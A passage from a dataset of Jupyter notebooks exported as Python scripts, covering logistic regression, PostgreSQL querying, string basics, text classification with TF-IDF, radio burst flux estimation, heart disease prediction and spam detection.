< 1e-8\n \n # for each column of x, we calculate the mean of non missing values (value that is not equal to MISSING_VAL). \n x_mean = [np.mean(x[~missing(x[:, i]), i]) for i in range(x.shape[1])]\n \n # for each column of x, we replace missing values with the corresponding mean of that column calculated above.\n for i in range(x.shape[1]):\n x[missing(x[:, i]), i] = x_mean[i]\n \n return np.array(x)\n\ndef normalize(x):\n \"\"\"This function normalizes the original data set.\"\"\"\n mean_x = np.mean(x)\n x = x - mean_x\n std_x = np.std(x)\n x = x / std_x\n return x, mean_x, std_x\n\ndef clean_and_normalize(x):\n return normalize(clean_data(x))\n \nx, mean_x, std_x = clean_and_normalize(np.array([[1, 1],[2, 2], [1.5, 1.5]], dtype=np.float64))\n\nx\n\n# +\nX = clean_and_normalize(X)[0]\n\nX\n# -\n\nplt.plot(X[0:1000,1])\nplt.show()\n\ndf.describe()\n\ndf1 = pd.DataFrame(X, columns=df.columns.drop([\"Id\", \"Prediction\"]))\n\ndf1.describe()\n\n# Outputs persentage of missing values (-999) per column\n(df[df.columns.drop([\"Id\", \"Prediction\"])].where(df == -999).count() / df.shape[0] * 100).round(2)\n\ndf.head(1000).where(df > -999).plot(subplots=True, kind='line', figsize=(12, 200))\nplt.show()\n\ndf1.head(1000).plot(subplots=True, kind='line', figsize=(12, 200))\nplt.show()\n\ndf[df.columns.drop([\"Id\"])].head(1000).where(df > -999).plot(kind='box', figsize=(14, 100))\nplt.show()\n\n\n# +\ndef sigmoid(t):\n return np.divide(1, np.add(1, np.exp(-t)))\n\n\ndef compute_log_likelihood(y, tx, w):\n loss = 0\n for i in range(tx.shape[0]):\n #x_t = tx[i].transpose()\n y_est = tx[i].dot(w)\n loss = loss + np.log(1 + np.exp(y_est)) - y[i] * y_est\n return loss\n\ndef compute_log_likelihood(y, tx, w):\n loss = 0\n for i in range(tx.shape[0]):\n #x_t = tx[i].transpose()\n y_est = tx[i].dot(w)\n loss = loss + np.log(1 + np.exp(y_est)) - y[i] * y_est\n return loss\n\ndef compute_log_likelihood_penalized(y, tx, w, lambda_):\n loss = 0\n for i in range(tx.shape[0]):\n #x_t = tx[i].transpose()\n y_est = tx[i].dot(w)\n loss = loss + np.log(1 + np.exp(y_est)) - y[i] * y_est\n return np.add(loss, lambda_ * w.transpose().dot(w))\n\ndef compute_gradient_log_likelihood(y, tx, w):\n \"\"\"Computes gradient of the max likelihood estimator for logistic regression\"\"\"\n xt_t = tx.transpose()\n return xt_t.dot((sigmoid(tx.dot(w)) - y))\n\ndef compute_gradient_log_likelihood_penalized(y, tx, w, lambda_):\n \"\"\"Computes gradient of the max likelihood estimator for logistic regression\"\"\"\n xt_t = tx.transpose()\n gradient = xt_t.dot((sigmoid(tx.dot(w)) - y))\n return np.add(gradient, np.multiply(2 * lambda_, w))\n\ndef logistic_regression_SGD(y, tx, initial_w, batch_size, max_iters, gamma):\n \"\"\" Logistic regression using Schocastic gradient descent algorithm \"\"\"\n \n # Define parameters to store w and loss\n ws = [initial_w]\n w = initial_w\n losses = []\n\n np.seterr(all='print')\n \n for iter in range(max_iters):\n \n y_batch, tx_batch = next(batch_iter(y, tx, batch_size, num_batches=1, shuffle=True))\n \n grad, loss = compute_gradient_log_likelihood_penalized(y_batch, tx_batch, w, 0.1), compute_log_likelihood_penalized(y_batch, tx_batch, w, 0.1)\n \n w = np.subtract(w, np.multiply(gamma, grad))\n \n losses.append(loss)\n \n if iter % 10 == 0:\n print(\"Current iteration={i}, the loss={l}\".format(i=iter, l=loss))\n \n if len(losses) > 1 and np.abs(losses[-1] - losses[-2]) < 1e-8:\n break \n \n return w\n\n#X = X[0]\ntx = np.c_[np.ones((X.shape[0], 1)), X]\ninitial_w = np.zeros((tx.shape[1], 1))\nY = Y.reshape(len(Y), 1)\nww = logistic_regression_SGD(Y, tx, initial_w, 250, 100, 1e-8)\n\nww\n#compute_gradient_log_likelihood(Y, tx, w)\n\n\n# +\ndef gen(n):\n for i in range(n):\n yield i + 1\n \nfor i in gen(5):\n print(i)\n\n# +\nimport logistic_regression as lr\n\n\ntx = np.c_[np.ones((X.shape[0], 1)), X]\ninitial_w = np.zeros((tx.shape[1], 1))\nY = Y.reshape(len(Y), 1)\nww = lr.logistic_regression_SGD(Y, tx, initial_w, 250, 100, 1e-8, 0.1)\n\nww\n","repo_name":"michaelheiniger/pcml-project1","sub_path":"python/test_sandro.ipynb","file_name":"test_sandro.ipynb","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"18"} +{"seq_id":"2591995505","text":"# + pycharm={\"name\": \"#%%\\n\"}\nimport pandas as pd\nimport psycopg2 \n\nconn = psycopg2.connect(\"host=127.0.0.1 dbname=hduan user=hduan password=testing\")\ncur = conn.cursor()\nconn.set_session(autocommit=True)\n\n# -\n\n\n\n\n\nquery=\"\"\"select * from dim_users where level='paid'\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\nquery=\"\"\"select count(*) from dim_users\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\nquery=\"\"\"select * from dim_users\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\nquery=\"\"\"select count(*) from dim_songs\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\nquery=\"\"\"select title from dim_songs where year != 0\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\nquery=\"\"\"select count(*) from dim_times\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\n\n\nquery=\"\"\"select * from dim_times limit 10\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\n\n\nquery=\"\"\"select count(*) from dim_artists\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\nquery=\"\"\"select * from dim_artists limit 10\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\nquery=\"\"\"select * from fct_songplays\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\n\n\nquery=\"\"\"SELECT * \nFROM fct_songplays JOIN dim_songs ON fct_songplays.song_id = dim_songs.song_id\nJOIN dim_artists ON fct_songplays.artist_id = dim_artists.artist_id\nJOIN dim_times ON fct_songplays.start_time = dim_times.start_time \nJOIN dim_users ON fct_songplays.user_id = dim_users.user_id \nLIMIT 5;\"\"\"\ndf = pd.read_sql(query, con=conn)\ndf.head()\n\n\n\n\n\nconn.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# + pycharm={\"name\": \"#%%\\n\"}\n\n# -\n\n\n\n\n","repo_name":"hoduan/data_modeling_with_postgres","sub_path":"test.ipynb","file_name":"test.ipynb","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"18"} +{"seq_id":"8579623636","text":"# ## Strings\n# Strings are the Sequence 0f charachters.\n\n# **In Python specifically, Strings are sequence of unicode charahcters**\n\n# - Creating strings\n# - Access Strings \n# - Adding Char to Strings\n# - Editing Strings \n# - Deleting Strings\n# - Operations on Strings\n# - Strings Functions\n\n# Creating Strings\nc = 'Hello'\nc\nb = \"Hellow\"\nb\n\nx = '''Hello with multilines'''\nx\n\n# ## Indexing\n\nprint(x[3])\n\n# ## Slicing\n\nprint(x[0:5])\n\nprint(x[2:])\n\nprint(x[:8])\n\nprint(x[:])\n\nprint(x[0:8:3])\n\nprint(x[::-1])\n\n\n# ## Edite and Delete Strings\n#\n# - strings are immutable datatype\n\nx[0] = 'c' # strings are immutable datatype\n\nx = \"world\"\nx\n\n#Delete\ndel x\nx\n\n\n# ## Operations on Strings\n#\n# - Arthmetic Operations\n# - Relational Operations\n# - Logical operations\n# - Loops on Strings\n# - Membership Operations\n\n\"Hello \" + \"World\"\n\nprint(\"Hello \"*10)\n\n\"Hello\" == \"World\"\n\n\"Hello\" != \"World\"\n\n\"Bahawalpur\" > \"Lahore\" #Lexiographically\n\n\"BAH\" < \"bah\"\n\n\"Hello\" and \"World\"\n\n\"Hello\" or \"World\"\n\n\"\" and \"Hello\"\n\nnot \"hello\"\n\nnot \"\"\n\nx = \"Hello World\"\nfor i in x:\n print(i)\n\nx = \"Hello World\"\nfor i in x[::-1]:\n print(i)\n\n'h' in x\n\n\"H\" in x\n\n# # Strings Functions\n#\n# - Common Functions\n# - len\n# - max\n# - min\n# - sorted\n\nc = \"Bahawalpur\"\nlen(c)\n\nmax(c)\n\nmin(c)\n\nsorted(c)\nsorted(c, reverse=True)\n\n# ## 1. Capitalize/Title/Lower/Swaocase\n\nc.capitalize()\n\ntr = \"hello world\".capitalize()\n\ntr.upper()\n\ntr.lower()\n\ntr.swapcase()\n\n# ## 2. Count\n\n\"It is raining\".count(\"is\")\n\n# # 3. Find/index\n\n\"It is raining\".find(\"g\")\n\n\"It is raining\".find(\"x\")\n\n\"It is raining\".index(\"n\")\n\n\"It is raining\".index(\"x\")\n\n# # 4. Starwith/endwith\n\n\"It is raining\".endswith(\"g\")\n\n\"It is raining\".endswith(\"ing\")\n\n\n\"It is raining\".startswith(\"g\")\n\n\n\"It is raining\".startswith(\"I\")\n\n# # 5. Format\n#\n\n\"Hello my name is {} and I am {} .\".format(\"Sajid\",30)\n\n\"Hello my name is {1} and I am {0} .\".format(\"Sajid\",30)\n\n\"Hello my name is {1} and I am {0} .\".format(30, \"sajid\")\n\n# # 6. isalnum/isalpha/isdecimal\n\n\"Hello my name is Sajid\".isalnum()\n\n\"hello my name is sajid\".isalpha()\n\n\"hello\".isalpha()\n\n\"hello12\".isalpha()\n\n\"20\".isdigit()\n\n\"hello12\".isidentifier()\n\n# # 7.split\n\n\"Who is pm of pakistan\".split()\n\n\"1,2,3,4,5\".split(\",\")\n\n# # 8. join\n\n\"\".join(['1', '2', '3', '4', '5'])\n\n\"-\".join(['1', '2', '3', '4', '5'])\n\n# # 9.Replace\n\n\"Who is pm of pakistan\".replace(\"pakistan\",\"usa\")\n\n\"Hello World\".replace(\"World\",\"Sajid\")\n\n# # 10. Strip\n\nname = \" sajid \"\nname.strip()\n\n\n","repo_name":"sajidshahzad/100-Days-of-Machine-Learning","sub_path":"basics of python/string.ipynb","file_name":"string.ipynb","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"18"} +{"seq_id":"74742076198","text":"# + [markdown] id=\"JdelQOET5rDj\" colab_type=\"text\"\n# ## Carregando dataset\n#\n# ---\n#\n\n# + id=\"d4CKjpwJ2DD2\" colab_type=\"code\" outputId=\"48bc0300-344d-4e92-afca-d7ef2d6a7a6b\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 173}\nimport pandas as pd\n\ndf = pd.read_csv(\"https://dados-ml-pln.s3-sa-east-1.amazonaws.com/produtos.csv\", delimiter=\";\", encoding='utf-8')\ndf.describe()\n\n# + id=\"2R6-1s4wqEiq\" colab_type=\"code\" outputId=\"f910c4c6-f203-47ab-9b57-b7ce913f7a29\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 54}\ndf.dropna(inplace=True)\n\ndf[\"texto\"] = df['nome'] + \" \" + df['descricao']\n\ndf.texto[0]\n\n# + id=\"asamUCYf5FKE\" colab_type=\"code\" colab={}\nimport nltk\nnltk.download('stopwords')\n\n# + id=\"LjJ2k_fX5JgG\" colab_type=\"code\" colab={}\n# 1 - Contagem de termos com unigrama\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nstops = nltk.corpus.stopwords.words('portuguese')\n\n#vect = CountVectorizer()\n#vect = CountVectorizer(ngram_range=(1,1))\nvect = CountVectorizer(ngram_range=(1,1), stop_words=stops)\nvect.fit(df.texto)\ntext_vect = vect.transform(df.texto)\n\n# + id=\"alnbcBIeAD5Y\" colab_type=\"code\" colab={}\n# 2 - TF-IDF com unigrama - referencia\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nstops = nltk.corpus.stopwords.words('portuguese')\n\n#vect = TfidfVectorizer(ngram_range=(1,1), use_idf=True)\nvect = TfidfVectorizer(ngram_range=(1,1), use_idf=True, stop_words=stops)\nvect.fit(df.texto)\ntext_vect = vect.transform(df.texto)\n\n# + id=\"aLvlJixSXWS7\" colab_type=\"code\" outputId=\"cc81aaa6-5334-431f-cd22-f7ff66a43b38\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 221}\n# 3 - TF-IDF com unigrama e aplicando o stemização RSLP\nfrom nltk.tokenize import word_tokenize\nimport nltk\nnltk.download('punkt')\n\ndf['tokens'] = df.texto.apply(word_tokenize)\n\nfrom nltk.stem.rslp import RSLPStemmer\nimport nltk\nnltk.download('rslp')\n\nrslp = RSLPStemmer()\n\ndef stem_pandas(line):\n return ' '.join([rslp.stem(token) for token in line])\n\ndf['stemmer'] = df.tokens.apply(stem_pandas)\n\n# + id=\"Sna9IuI8fwhz\" colab_type=\"code\" outputId=\"d1631a38-3845-42dc-a004-932e9f9bf3cb\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51}\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nstops = nltk.corpus.stopwords.words('portuguese')\n\n#vect = TfidfVectorizer(ngram_range=(1,1), use_idf=True)\nvect = TfidfVectorizer(ngram_range=(1,1), use_idf=True, stop_words=stops)\n#vect = TfidfVectorizer(ngram_range=(1,2), use_idf=False, stop_words=stops)\n\nvect.fit(df.stemmer)\ntext_vect = vect.transform(df.stemmer)\n\n# + id=\"t6vuWOoR5OCt\" colab_type=\"code\" colab={}\nfrom sklearn.model_selection import train_test_split\n\nX_train,X_test,y_train,y_test = train_test_split(\n text_vect, \n df[\"categoria\"],\n test_size = 0.2, \n random_state = 42\n)\n\n# + id=\"_EPOBDUH5pK0\" colab_type=\"code\" outputId=\"d231a068-5ccb-4f62-d267-0d68017d6a97\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nfrom sklearn.tree import DecisionTreeClassifier\n\ntree = DecisionTreeClassifier(random_state=42)\ntree.fit(X_train, y_train)\n\n#tree.score(X_train, y_train)\ntree.score(X_test, y_test)\n\n# + [markdown] id=\"CQjbk1lVkW_d\" colab_type=\"text\"\n# Exemplo 1 - 0.9554794520547946\n#\n# Exemplo 2 - 0.9537671232876712\n#\n# Exemplo 3 - 0.9434931506849316\n#\n# Exemplo 4 - 0.9503424657534246\n#\n# Exemplo 5 - 0.9623287671232876\n#\n# 0.9212328767123288\n\n# + id=\"02ojybJ26FnR\" colab_type=\"code\" outputId=\"3b19b021-6814-4ebc-8370-ed1346a6572b\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nfrom sklearn.metrics import accuracy_score\n\ny_prediction = tree.predict(X_test)\n\naccuracy = accuracy_score(y_prediction, y_test)\n\nprint(accuracy)\n\n# + id=\"Wx6LKARr6VZT\" colab_type=\"code\" outputId=\"ebd29147-03df-40e6-d905-e7598769b80f\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51}\ntexto = \"\"\"\nMaleta Exclusiva Ruby Rose Profissional Completa. \n\"\"\"\n\ntexto_vetor = vect.transform([texto])\n\n# + id=\"kk-wzPwB69Gt\" colab_type=\"code\" outputId=\"5c969c7f-aab0-4262-9071-3aaed91b2547\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\ntree.predict(texto_vetor)\n","repo_name":"JV-cloud/Python_MyXperience","sub_path":"NLP/Aula 3.1 IA PLN - Exercício.ipynb","file_name":"Aula 3.1 IA PLN - Exercício.ipynb","file_ext":"py","file_size_in_byte":4102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"18"} +{"seq_id":"26607438729","text":"# +\n# Load JSON file\n# Download the dataset\n# #!wget https://storage.googleapis.com/tensorflow-1-public/course3/sarcasm.json\n\nimport json\n\n# Load JSON\nwith open(\"sarcasm.json\", 'r') as f:\n d = json.load(f)\n\n# +\n# Show some items\nprint(d[0])\n\nprint(d[20000])\n\nprint(len(d))\n\n# +\n# Init lists\nsentences = []\nlabels = []\nurls = []\n\n# Append elements in the dict into eact list\nfor i in d:\n sentences.append(i['headline'])\n labels.append(i['is_sarcastic'])\n urls.append(i['article_link'])\n\n# +\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\n# Init the Tokenizer class\ntokenizer = Tokenizer(oov_token = \"\")\n\n# Tokenize input sentences\ntokenizer.fit_on_texts(sentences)\n\n# Generate word index dictionary\nword_index = tokenizer.word_index\nprint(\"Number of words in word_index = \", len(word_index))\n#print(\"Word index = \", word_index)\n# Word index = {'': 1, 'to': 2, 'of': 3, 'the': 4, 'in': 5, 'for': 6, 'a': 7, 'on': 8, \n\n# Generate and pad the sequences\nsequences = tokenizer.texts_to_sequences(sentences)\npadded = pad_sequences(sequences, padding='post')\nprint(padded.shape)\n# -\n\n\n","repo_name":"lamateos123/tf_dev_prof_cert","sub_path":"NLP_1/3_sarcasm.ipynb","file_name":"3_sarcasm.ipynb","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"18"} +{"seq_id":"4815802529","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# +\nf0 = 26.7 # Central requency of the burst, MHz\ndt = 0.1 # Temporal resolution, seconds\ndf = 39063 # Spectral resolution, Hz\nAeff0 = 250 # Average effective area, m2\ndB_above_bg = 20 # Burst intensity in dB above background\n\nc = 299792458 # Speed of light, m/s\nkB = 1.38064852 * pow(10,-23) # Boltzmann constant, W * m-2 * Hz-1 * sr-1\n# -\n\nTbg_Krymkin = 3.78*pow(10,5) * pow((10/f0), 2.56) # Calculating the background temperature\nSNR = pow(10, dB_above_bg/10) # Converting dB to times\n\n# $$\n# S = \\frac{T_A + T_N}{T_A} \\cdot \\frac{2 k_B T_{\\text{bg}}}{A_{\\text{eff}} \\sqrt{\\Delta t \\cdot \\Delta f}} \\cdot SNR\n# $$\n\n# For GURT subarray:\n# $$\n# \\frac{T_A + T_N}{T_A} = 10\n# $$\n\n# +\nS = 10 * Tbg_Krymkin * 2 * kB * SNR * pow(10, 22) / (Aeff0 * pow(dt *df , 0.5)) \n\nprint('\\n Burst frequency: ', f0, ' MHz')\nprint('\\n Background temperature (Krymkin model): ', np.round(Tbg_Krymkin, 3), ' K')\nprint('\\n Burst flux: ', np.round(S, 3), ' s.f.u')\nprint('\\n\\n')\n\n# +\nfreq = np.linspace(1, 100, 1000, 0.1)\n\nIgal = 2.48*pow(10,-20)*pow(freq,-0.52)*(1-np.exp(-5*pow(freq,-2.1)))/(5*pow(freq,-2.1))\nIexgal = 1.06*pow(10,-20)*pow(freq,-0.8)*np.exp(-5*pow(freq,-2.1))\nTbg_Cane = (Iexgal + Igal) * pow(c, 2) / (2 * pow(freq*1000000, 2) * kB)\nTbg_Krymkin = 3.78*pow(10,5) * pow((10/freq), 2.56)\n# -\n\n\n\n# +\nplt.figure(facecolor = 'white', figsize = (16, 10))\nax = plt.subplot(111)\n\nplt.plot(freq, Tbg_Krymkin, color = 'C3', label = 'Krymkin model', lw = 2)\nplt.plot(freq, Tbg_Cane, color = 'C0', label = 'Cane model', lw = 4, linestyle = ':')\n\nplt.legend(loc = 'upper right', fontsize = 18)\nfor axis in ['top','bottom','left','right']:\n ax.spines[axis].set_linewidth(3.0)\nax.xaxis.set_tick_params(width=3, which='both', direction='in', length=10, labelsize = 20)\nax.yaxis.set_tick_params(width=3, which='major', direction='in', length=10, labelsize = 20)\nax.yaxis.set_tick_params(width=3, which='minor', direction='in', length=7, labelsize = 20)\nplt.xlabel('Frequency, MHz', fontsize=25)\nplt.ylabel('Brightness temperature, K', fontsize=25)\nplt.axis([7, 85, 1000, 400000])\n\n# +\nplt.figure(facecolor = 'white', figsize = (16, 10))\nax = plt.subplot(111)\n\nplt.loglog(freq, Tbg_Krymkin, color = 'C3', label = 'Krymkin model', lw = 2)\nplt.loglog(freq, Tbg_Cane, color = 'C0', label = 'Cane model', lw = 4, linestyle = ':')\n\nplt.legend(loc = 'upper right', fontsize = 18)\nfor axis in ['top','bottom','left','right']:\n ax.spines[axis].set_linewidth(3.0)\nax.xaxis.set_tick_params(width=3, which='both', direction='in', length=10, labelsize = 20)\nax.yaxis.set_tick_params(width=3, which='major', direction='in', length=10, labelsize = 20)\nax.yaxis.set_tick_params(width=3, which='minor', direction='in', length=7, labelsize = 20)\nplt.xlabel('Frequency, MHz', fontsize=25)\nplt.ylabel('Brightness temperature, K', fontsize=25)\nplt.axis([5, 100, 1000, 10000000])\n# -\n\nfreq[2]\n\n\n","repo_name":"serge-yerin/jupyter-radio-astronomy","sub_path":"SUN_GURT_burst_flux_estimation.ipynb","file_name":"SUN_GURT_burst_flux_estimation.ipynb","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"18"} +{"seq_id":"14200405358","text":"# # Building Data Products: Interactive Web Apps \n#\n# # Saving and Loading Models\n\n# ## Setup\n\n# #### FOR GOOGLE COLLAB USERS ONLY: Mount Drive\n\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\npath = \"drive/My Drive/Colab Notebooks/Lehre/CourseModules/DataProducts/\"\n\n# #### FOR ANACONDA USERS ONLY: Define local path\n\npath = 'D:/OneDrive - Universität St.Gallen/Lehre/CourseModules/DataProducts/'\n\n# ## Preparation\n\n# ### Import Standard Libraries\n\nimport pandas as pd\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\n\n# ### Import and Prepare Data\n\ndata = pd.read_csv(path + \"prosper_data_app.csv\")\n\ny = data[\"loan_default\"]\nX = data.drop(\"loan_default\",axis=1)\nX = pd.get_dummies(X, drop_first=True)\nX.info()\n\n# ## Train & Save Model\n\n# ### Train Model\n\n# +\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.05)\n\nclf = DecisionTreeClassifier().fit(X_train,y_train)\n# -\n\n# ### Save Test and Training Instances\n\ndata.iloc[X_train.index,:].to_csv(\"prosper_data_app_dev.csv\", index=False)\ndata.iloc[X_test.index,:].drop(\"loan_default\", axis=1).to_csv(\"new_customers.csv\", index=False)\n\n# ### Save Model\n\nimport pickle\nfilename = 'finalized_default_model.sav'\npickle.dump(clf, open(filename, 'wb'))\n\n# ## Load Model & Score New Data\n\n# ### Read and Pre-Process \"New Customer\" Data\n\nnew_customers = pd.read_csv(\"new_customers.csv\")\nnew_customers = pd.get_dummies(new_customers, drop_first=True)\nnew_customers\n\n# ### Load Model and Score \"New Customer\" Data\n\nloaded_model = pickle.load(open(filename, 'rb'))\nloaded_model.predict(new_customers)\n","repo_name":"alexanderhepburn/Herzkrankheit","sub_path":"SavingModels.ipynb","file_name":"SavingModels.ipynb","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"18"} +{"seq_id":"16405559677","text":"# + id=\"_de5V5X0Voic\"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pickle\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import svm\nfrom sklearn.metrics import accuracy_score\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 202} id=\"DDPsYQV5V6_i\" outputId=\"f6bff04f-b7cc-48cd-af30-92fe2036d6a0\"\ndf = pd.read_csv('/content/heart.csv')\ndf.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"fDA5J8zJWg3y\" outputId=\"9ed24f02-ab91-4b37-853b-d23eecac223b\"\ndf.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"nVvL8INzX_ny\" outputId=\"b09dd48e-7b59-4fa9-8e16-7176d8c7dff5\"\ndf.info()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 314} id=\"BkSoUXZVYLgw\" outputId=\"ce893bbb-7703-407b-ca0b-1f54b66f6344\"\ndf.describe()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"9PQdRM4GYSAA\" outputId=\"465b2b44-936a-4829-8b56-ea5f0dfa5a0a\"\ndf['target'].value_counts()\n\n# + [markdown] id=\"xnnCsxO0Ylj5\"\n# 1 --> Heart patient\n#\n# 0 --> Not a Heart a Pateint\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 161} id=\"beFr2v-6Yj8T\" outputId=\"2e4318d2-31c7-4742-cc2e-8735ede5633b\"\ndf.groupby('target').mean()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 626} id=\"llIBhoCrYz-2\" outputId=\"910d72f1-ac6f-47d6-c9f3-d92379328bc1\"\nplt.figure(figsize=(10,10))\nsns.heatmap(data = df.corr(), annot=True, cmap='Blues', fmt='.2f')\nplt.show()\n\n# + id=\"BQMB1e-6arVK\"\nX = df.drop(columns='target', axis=1)\nY = df['target']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 202} id=\"YonGLBhGbBXE\" outputId=\"762def6e-e742-44ed-8ea8-20d5c002d5de\"\nX.head()\n\n# + id=\"JzQEWSMibC_9\"\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.2, stratify = Y ,random_state = 3)\n\n# + id=\"9QYOHtsVba5c\"\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"VkE-eJvSbxQ_\" outputId=\"5f9c37a3-5f94-4399-e648-a2f1998910a4\"\nX_train\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8Y0dLNwFb_hr\" outputId=\"d05d6065-1eb0-4042-e224-7b1286092c2c\"\nfrom sklearn.linear_model import LogisticRegression\n\nmodel = LogisticRegression()\nmodel.fit(X_train, Y_train)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"PROuzW0cc_UO\" outputId=\"a6cfa601-2963-43dc-8673-e34d838f8988\"\n#accuracy on training data\nX_train_prediction = model.predict(X_train)\ntrain_data_accuracy = accuracy_score(X_train_prediction, Y_train)\n\nprint(\"Train Data Accuracy is\", train_data_accuracy)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"avu2JczxdEfA\" outputId=\"cca381ab-ea3b-45c9-add0-39d6fb983a7b\"\n#accuracy on test data\nX_test_prediction = model.predict(X_test)\ntest_data_accuracy = accuracy_score(X_test_prediction, Y_test)\n\nprint(\"Test Data Accuracy is\", test_data_accuracy)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"c2SJTduxdIW6\" outputId=\"39123388-3cd3-4fbd-d737-72a20073f856\"\ninput_data = [58,0,2,120,340,0,1,172,0,0,2,0,2]\n\n#input data as numpy array\ninput_data_as_np = np.asarray(input_data)\n\n#reshape the array as we predicting only one instance\ninput_data_reshaped = input_data_as_np.reshape(1,-1)\n\n#standardized the input data\nstd_data = sc.transform(input_data_reshaped)\n\n# print(std_data)\n\nprediction = model.predict(std_data)\n\nprint(prediction[0])\n\n# + id=\"tqlrUT5-e73j\"\n\n","repo_name":"MercuryHG007/heart-prediction-webapp","sub_path":"heart_disease_prediction.ipynb","file_name":"heart_disease_prediction.ipynb","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"34677866259","text":"import re\nimport os\nimport nltk\nimport numpy as np\nimport pandas as pd\nimport string\nfrom sklearn.model_selection import train_test_split\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.metrics import accuracy_score, roc_auc_score\n\nnltk.download() ## download packages for stop words\n\nall_data = pd.read_csv('spam.csv')\nall_data['label'] = all_data['text_type'].map({'ham': 1,'spam': 0})\n\n\ndef data_preprocessing(raw_text):\n \n raw_text = raw_text.lower()\n filter_pattern = re.compile('[%s]' % re.escape(string.punctuation))\n words_only = filter_pattern.sub('', raw_text)\n raw_words = nltk.word_tokenize(words_only)\n wordnet_lematizer = WordNetLemmatizer()\n words = [wordnet_lematizer.lemmatize(raw_word) for raw_word in raw_words]\n filtered_words = [word for word in words if word not in stopwords.words('english')]\n proc_text = ' '.join(filtered_words)\n \n return proc_text\n\n\nall_data['proc_text'] = all_data['text'].apply(data_preprocessing)\nall_data = all_data[all_data['proc_text'] != '']\ntrain_data, test_data = train_test_split(all_data, test_size=.2, random_state=0)\n\n# +\ntrain_proc_text = train_data['proc_text'].values\ntest_proc_text = test_data['proc_text'].values\n\ntfidf_vectorizer = TfidfVectorizer()\ntrain_tfidf_feat = tfidf_vectorizer.fit_transform(train_proc_text).toarray()\ntest_tfidf_feat = tfidf_vectorizer.transform(test_proc_text).toarray()\n\ncount_vectorizer = CountVectorizer()\ntrain_count_feat = count_vectorizer.fit_transform(train_proc_text).toarray()\ntestcount_feat = count_vectorizer.transform(test_proc_text).toarray()\n\nX_train = np.hstack((train_tfidf_feat, train_count_feat))\nX_test = np.hstack((test_tfidf_feat, testcount_feat))\n\ny_train = train_data['label'].values\ny_test = test_data['label'].values\n\n# +\nnb_model = 